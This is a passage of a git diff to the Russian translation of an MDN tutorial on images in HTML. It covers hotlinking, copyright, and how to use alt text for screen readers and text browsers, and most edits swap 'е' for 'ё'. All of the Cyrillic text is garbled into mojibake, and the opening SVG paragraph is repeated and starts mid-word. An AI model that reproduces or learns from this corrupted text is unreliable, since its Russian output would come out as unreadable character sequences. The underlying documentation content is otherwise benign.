Π‘Π΅Ρ‚ΠΈ. Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅, Ссли Π²Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ чувствуСтС сСбя экспСртом Π² SVG. НиТС ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ нСсколько ссылок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΏΠΎΠΌΠΎΡ‡ΡŒ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
+<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ прСдоставила Π²Π°ΠΌ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ ΠΎΠ±Π·ΠΎΡ€ ΠΏΠΎ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ вСкторная Π³Ρ€Π°Ρ„ΠΈΠΊΠ° ΠΈ SVG, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ Π½ΠΈΡ… ΠΈ ΠΊΠ°ΠΊ Π²Π½Π΅Π΄Ρ€ΡΡ‚ΡŒ SVG Π² Π²Π°ΡˆΡƒ Π²Π΅Π±-страницу. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ являСтся ΠΏΠΎΠ»Π½Ρ‹ΠΌ руководством ΠΏΠΎ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΡŽ SVG, Π° всСго лишь ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ, Ρ‡Ρ‚ΠΎΠ± Π²Ρ‹ Π·Π½Π°Π»ΠΈ Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ SVG, Π½Π° случай, Ссли Π²Ρ‹ встрСтитС Π΅Π³ΠΎ Π²ΠΎ врСмя странствий ΠΏΠΎ Π‘Π΅Ρ‚ΠΈ. Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅, Ссли Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ чувствуСтС сСбя экспСртом Π² SVG. НиТС ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ нСсколько ссылок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΏΠΎΠΌΠΎΡ‡ΡŒ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
<p>Π’ послСднСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ этого модуля ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹Π΅ изобраТСния Π² дСталях, рассматривая инструмСнты HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ ваши изобраТСния Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ΠΈ ΠΌΠΎΠ³Π»ΠΈ Π»ΡƒΡ‡ΡˆΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… устройствах.</p>
diff --git a/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html
index 3dc16ecfd2..c9b088742d 100644
--- a/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/images_in_html/index.html
@@ -60,7 +60,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ_Π²_HTM
<li>ΠΏΠΎΠΊΠ° Ρƒ вас Π½Π΅Β Π±ΡƒΠ΄Π΅Ρ‚ достаточно Π΄ΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒΡΡ‚Π² Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ находится Π² ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΌ доступС.</li>
</ul>
-<p>ΠΠ°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠ΅ авторских ΠΏΡ€Π°Π² являСтся Π½Π΅Π·Π°ΠΊΠΎΠ½Π½Ρ‹ΠΌ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΠΉΡ‚Π΅ Π² своСм Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅Β <code>src</code> ссылку Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½ΠΎΠ΅ Π½Π° Ρ‡ΡƒΠΆΠΎΠΌ сайтС. Π­Ρ‚ΠΎ называСтся "Ρ…ΠΎΡ‚Π»ΠΈΠ½ΠΊΠΈΠ½Π³" (с Π°Π½Π³Π». 'hotlinking' - 'горячая ссылка'). Π—Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, ΠΊΡ€Π°ΠΆΠ° пропускной способности Ρ‡ΡƒΠΆΠΎΠ³ΠΎ сайта Π½Π΅Π·Π°ΠΊΠΎΠ½Π½Π°. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ замСдляСт Π²Π°ΡˆΡƒ страницу ΠΈ Π½Π΅ позволяСт Π²Π°ΠΌ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ ΠΈΠ»ΠΈ Π·Π°ΠΌΠ΅Π½Π΅Π½ΠΎ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ нСприятным.</p>
+<p>ΠΠ°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠ΅ авторских ΠΏΡ€Π°Π² являСтся Π½Π΅Π·Π°ΠΊΠΎΠ½Π½Ρ‹ΠΌ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΠΉΡ‚Π΅ Π² своём Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅Β <code>src</code> ссылку Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ Π½Π° Ρ‡ΡƒΠΆΠΎΠΌ сайтС. Π­Ρ‚ΠΎ называСтся "Ρ…ΠΎΡ‚Π»ΠΈΠ½ΠΊΠΈΠ½Π³" (с Π°Π½Π³Π». 'hotlinking' - 'горячая ссылка'). Π—Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, ΠΊΡ€Π°ΠΆΠ° пропускной способности Ρ‡ΡƒΠΆΠΎΠ³ΠΎ сайта Π½Π΅Π·Π°ΠΊΠΎΠ½Π½Π°. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ замСдляСт Π²Π°ΡˆΡƒ страницу ΠΈ Π½Π΅ позволяСт Π²Π°ΠΌ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ ΠΈΠ»ΠΈ Π·Π°ΠΌΠ΅Π½Π΅Π½ΠΎ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ нСприятным.</p>
</div>
<p>Наш ΠΊΠΎΠ΄ Π²Ρ‹ΡˆΠ΅ даст Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
@@ -77,7 +77,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ_Π²_HTM
<h3 id="ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ_тСкст">ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ тСкст</h3>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассмотрим — <code>alt</code>. Π•Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ тСкстовоС описаниС изобраТСния для использования Π² ситуациях, ΠΊΠΎΠ³Π΄Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ просмотрСно / ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΎ ΠΈΠ»ΠΈ отрисовка Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈΠ·-Π·Π° ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-соСдинСния. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ использованиС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>alt</code> Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅, внСсСм измСнСния Π² ΠΊΠΎΠ΄ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассмотрим — <code>alt</code>. Π•Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ тСкстовоС описаниС изобраТСния для использования Π² ситуациях, ΠΊΠΎΠ³Π΄Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ просмотрСно / ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΎ ΠΈΠ»ΠΈ отрисовка Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈΠ·-Π·Π° ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-соСдинСния. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ использованиС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>alt</code> Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅, внСсём измСнСния Π² ΠΊΠΎΠ΄ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
<pre class="notranslate">&lt;img src="images/dinosaur.jpg"
alt="Π“ΠΎΠ»ΠΎΠ²Π° ΠΈ Ρ‚ΡƒΠ»ΠΎΠ²ΠΈΡ‰Π΅ скСлСта Π΄ΠΈΠ½ΠΎΠ·Π°Π²Ρ€Π°;
@@ -85,14 +85,14 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ_Π²_HTM
<p>Π‘Π°ΠΌΡ‹ΠΉ простой способ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>alt</code> Π² дСйствии β€” это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΡƒΡŽ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π² ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π°. НапримСр, Ссли Π±Ρ‹ ΠΌΡ‹ написали имя изобраТСния ΠΊΠ°ΠΊ <code>dinosooooor.jpg</code>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ смог Π±Ρ‹ Π΅Π³ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ, ΠΈ Π½Π° экранС появился Π±Ρ‹ тСкст ΠΈΠ· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>alt</code>:</p>
-<p><img alt="The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place." src="https://mdn.mozillademos.org/files/12702/alt-text.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;">Π˜Ρ‚Π°ΠΊ, Π² ΠΊΠ°ΠΊΠΈΡ… случаях тСкст ΠΈΠ· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>alt</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΌ ΠΏΠΎΠ»Π΅Π·Π΅Π½? ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²:</p>
+<p><img alt="The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place." src="https://mdn.mozillademos.org/files/12702/alt-text.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;">Π˜Ρ‚Π°ΠΊ, Π² ΠΊΠ°ΠΊΠΈΡ… случаях тСкст ΠΈΠ· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>alt</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΌ ΠΏΠΎΠ»Π΅Π·Π΅Π½? ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘ΠΌ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²:</p>
<ul>
<li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ с Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠ΅ΠΌ зрСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <a href="https://en.wikipedia.org/wiki/Screen_reader">устройство чтСния с экрана</a>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ вслух описаниС элСмСнтов Π²Π΅Π±-страницы. На самом Π΄Π΅Π»Π΅, Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ тСкста Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>alt</code> для описания изобраТСния ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</li>
<li>Π’ случаС, Ссли Π±Ρ‹Π»Π° Π΄ΠΎΠΏΡƒΡ‰Π΅Π½Π° ошибка Π² ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π° ΠΈΠ»ΠΈ ΠΏΡƒΡ‚ΠΈ ΠΊ Π½Π΅ΠΌΡƒ (ΠΊΠ°ΠΊ Π±Ρ‹Π»ΠΎ описано Π²Ρ‹ΡˆΠ΅).</li>
<li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Π½Π½ΠΎΠ³ΠΎ изобраТСния. НСкоторыС люди Π΄ΠΎ сих ΠΏΠΎΡ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ тСкстовыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a href="https://en.wikipedia.org/wiki/Lynx_%28web_browser%29">Lynx</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ вмСсто ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ тСкст ΠΈΠ· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>alt</code>.</li>
<li>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π½Π°ΠΉΡ‚ΠΈ вашС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ поисковых систСм. НапримСр, поисковыС систСмы ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΊΠ°Ρ‚ΡŒ совпадСния поисковых запросов с тСкстом Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>alt</code>.</li>
- <li>Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π½Π° страницС для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ объСма ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ для сокрытия элСмСнтов, ΠΎΡ‚Π²Π»Π΅ΠΊΠ°ΡŽΡ‰ΠΈΡ… Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. Π­Ρ‚ΠΎ обычная ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½ΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ Π² странах с малСнькой пропускной ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΊΠ°Π½Π°Π»ΠΎΠ² ΠΈ с высокой ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒΡŽ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ°.</li>
+ <li>Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π½Π° страницС для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ ΠΎΠ±ΡŠΡ‘ΠΌΠ° ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ для сокрытия элСмСнтов, ΠΎΡ‚Π²Π»Π΅ΠΊΠ°ΡŽΡ‰ΠΈΡ… Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. Π­Ρ‚ΠΎ обычная ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½ΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ Π² странах с малСнькой пропускной ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΊΠ°Π½Π°Π»ΠΎΠ² ΠΈ с высокой ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒΡŽ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ°.</li>
</ul>
<p>Π§Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΈΡΠ°Ρ‚ΡŒ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>alt</code>? Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, это зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ,Β <em>Π·Π°Ρ‡Π΅ΠΌ</em>Β ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΎΠΎΠ±Ρ‰Π΅ находится Π½Π° страницС. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Ρ‡Ρ‚ΠΎ Π²Ρ‹ потСряСтС, Ссли вашС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ появится:</p>
@@ -100,7 +100,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ_Π²_HTM
<ul>
<li><strong>ДСкорация. </strong>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{anch ("Π€ΠΎΠ½ΠΎΠ²Ρ‹Π΅ изобраТСния CSS")}} для Π΄Π΅ΠΊΠΎΡ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π½ΠΎ Ссли Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ HTML, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ пустой alt = "". Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ слуТит просто ΡƒΠΊΡ€Π°ΡˆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈ Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ содСрТимого, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ пустой <code>alt=""</code>. НапримСр, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° чтСния с экрана Π½Π΅ Ρ‚Ρ€Π°Ρ‚ΠΈΡ‚ врСмя Π½Π° Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ содСрТимого, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ являСтся Π²Π°ΠΆΠ½Ρ‹ΠΌ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</li>
<li><strong>ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚.</strong> Если вашС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ содСрТит Π²Π°ΠΆΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΠ΅Ρ€Π΅Π΄Π°ΠΉΡ‚Π΅ Ρ‚Ρƒ ΠΆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Ρ‡Π΅Ρ€Π΅Π· ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ<em>Β </em><code>alt</code>. Или Π΄Π°ΠΆΠ΅ Π»ΡƒΡ‡ΡˆΠ΅, Π² <em>Π³Π»Π°Π²Π½ΠΎΠΌ</em> тСкстС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС увидят. НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <code>alt</code>Β , Ссли ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΠΎΠΉΡ‚ΠΈΡΡŒ Π±Π΅Π· Π½Π΅Π³ΠΎ. Насколько Π½Π΅ΡƒΠ΄ΠΎΠ±Π½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ссли Π±Ρ‹ <em>ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹</em>Β Π±Ρ‹Π»ΠΈ написаны Π΄Π²Π°ΠΆΠ΄Ρ‹ Π² <em>Π³Π»Π°Π²Π½ΠΎΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅</em>? Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π°Π΄Π΅ΠΊΠ²Π°Ρ‚Π½ΠΎ описано Π² основном тСкстС, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>alt=""</code>.</li>
